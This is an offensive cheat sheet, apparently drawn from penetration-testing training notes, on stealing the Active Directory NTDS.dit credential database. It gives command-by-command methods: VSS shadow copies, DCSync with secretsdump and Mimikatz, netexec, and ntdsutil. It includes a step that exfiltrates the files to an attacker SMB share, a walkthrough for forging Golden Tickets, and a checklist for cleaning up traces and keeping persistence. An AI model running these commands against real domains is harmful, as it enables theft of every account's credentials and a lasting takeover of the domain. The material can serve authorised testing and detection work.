NTDS.dit is the Active Directory database — every user, computer, and krbtgt account hash lives here. Owning NTDS.dit is game over for the domain: every account can be Pass-the-Hashed, impersonated, or used to forge tickets.
Three paths lead here: VSS snapshot on the DC, remote dump via a protocol-level admin (secretsdump, NetExec --ntds), or DCSync by a user with replication rights.
Prerequisites
Any one of:
- Domain Admin — can call DCSync, run tools on the DC, snapshot NTDS.dit
- Local Admin on a DC — can snapshot the file directly
- Replication rights on the domain object (
DS-Replication-Get-Changes+DS-Replication-Get-Changes-All) — can DCSync even without DA membership
Method 1 — VSS Snapshot on the DC (classic)
NTDS.dit is locked by lsass.exe; VSS makes a point-in-time copy you can read.
# 1. Confirm you're on the DC with Admin
hostname; whoami /groups | findstr -i "admin\|domain"
# 2. Create a shadow copy of C:
vssadmin CREATE SHADOW /For=C:
# Note the output — "Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2"
# 3. Copy the database + SYSTEM hive out of the snapshot
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\Windows\Temp\NTDS.dit
cmd.exe /c reg.exe save hklm\system C:\Windows\Temp\SYSTEM
# 4. Exfil to attacker SMB
cmd.exe /c move C:\Windows\Temp\NTDS.dit \\10.10.14.5\share
cmd.exe /c move C:\Windows\Temp\SYSTEM \\10.10.14.5\share
# 5. Cleanup
vssadmin DELETE SHADOWS /SHADOW={<shadow-copy-id>} /quietThen parse offline:
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCALOutput: every account in the domain, format user:rid:LM:NT:::, and all Kerberos keys.
Method 2 — DCSync (replication protocol, no file touch)
DCSync uses DRSUAPI MS-DRSR replication to ask the DC for secret data as if you were another DC. Fast, leaves no file artifacts on the DC disk.
With a password or hash
# Dump specific account (quieter)
impacket-secretsdump -just-dc-user Administrator inlanefreight.local/wwhite:'Pass!'@10.129.201.57
# Dump the krbtgt hash (for Golden Ticket forging)
impacket-secretsdump -just-dc-user krbtgt inlanefreight.local/wwhite:'Pass!'@10.129.201.57
# Everything
impacket-secretsdump inlanefreight.local/wwhite:'Pass!'@10.129.201.57
# With a hash instead of a password
impacket-secretsdump -hashes :<NThash> inlanefreight.local/wwhite@10.129.201.57From Windows with Mimikatz
lsadump::dcsync /user:inlanefreight\krbtgt
lsadump::dcsync /user:inlanefreight\Administrator
lsadump::dcsync /domain:inlanefreight.htb /all
Method 3 — netexec --ntds
Easiest one-shot if you have DA creds or local Admin on the DC:
# Via VSS behind the scenes
netexec smb 10.129.201.57 -u Administrator -p 'Pass!' --ntds
# Via ntdsutil method (quieter — no volume shadow)
netexec smb 10.129.201.57 -u Administrator -p 'Pass!' -M ntdsutil
# Specific user only
netexec smb 10.129.201.57 -u Administrator -p 'Pass!' --ntds --user krbtgtMethod 4 — ntdsutil from the DC
ntdsutil
activate instance ntds
ifm
create full C:\NTDSBackup
quit
quitProduces Active Directory\ntds.dit and registry\SYSTEM under C:\NTDSBackup. Parse the same way (impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL).
What You Get
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:dc3fbb13dc2f76fde7b7e35e6ea3e...:::
Administrator:500:aad3b435...:30b3783ce2abf1af70f77d0660cf3453:::
jsmith:1104:aad3b435...:5c04d86d25c92cef79b6...
HOST01$:1105:aad3b435...:66a04...
Plus the Kerberos keys:
Administrator:aes256-cts-hmac-sha1-96:1b0a...
Administrator:aes128-cts-hmac-sha1-96:bb3f...
Administrator:des-cbc-md5:d4c8...
| What | Use |
|---|---|
| User NT hashes | PtH, offline crack |
Computer account hashes (HOST01$) | Silver Ticket forging, S4U2Self abuse |
krbtgt NT hash | Golden Ticket — forge any TGT with any privilege for ~10 years (default) |
| AES256 keys | Overpass-the-Hash with AES (avoids RC4 downgrade alerting) |
Golden Ticket (After NTDS)
# Mimikatz, from any domain-joined host (or just your Linux box with impacket)
kerberos::golden /user:Administrator /domain:inlanefreight.htb /sid:S-1-5-21-... \
/krbtgt:<krbtgt-NThash> /ptt
Or impacket:
impacket-ticketer -nthash <krbtgt-NThash> -domain-sid S-1-5-21-... \
-domain inlanefreight.htb Administrator
export KRB5CCNAME=Administrator.ccache
impacket-wmiexec -k -no-pass inlanefreight.htb/Administrator@dc01Caveats
- NTDS.dit is huge. 10-user lab: 10 MB. Real org: 500 MB – 20 GB. VSS + exfil over SMB takes time.
vssadminis a well-monitored binary — EDR often flagsCREATE SHADOWfrom a user process.- DCSync is detectable via Event ID 4662 on the DC with specific GUID access masks — SOCs with the right queries catch it.
krbtgtrotation (if an org rotates twice) invalidates all forged Golden Tickets. Many don’t rotate it at all.
Post-Exfil Checklist
- Delete VSS shadow if you created one (
vssadmin DELETE SHADOWS). - Clear
C:\Windows\Temp\*of your copies. - Record the
krbtgthash for persistence — valid until rotation. - Note the domain SID (visible in
secretsdumpoutput) for Golden Ticket + SID history forging. - Try the
AdministratorNT hash against every DC and file server with NetExec--local-authoff — local admins often shared across the domain.
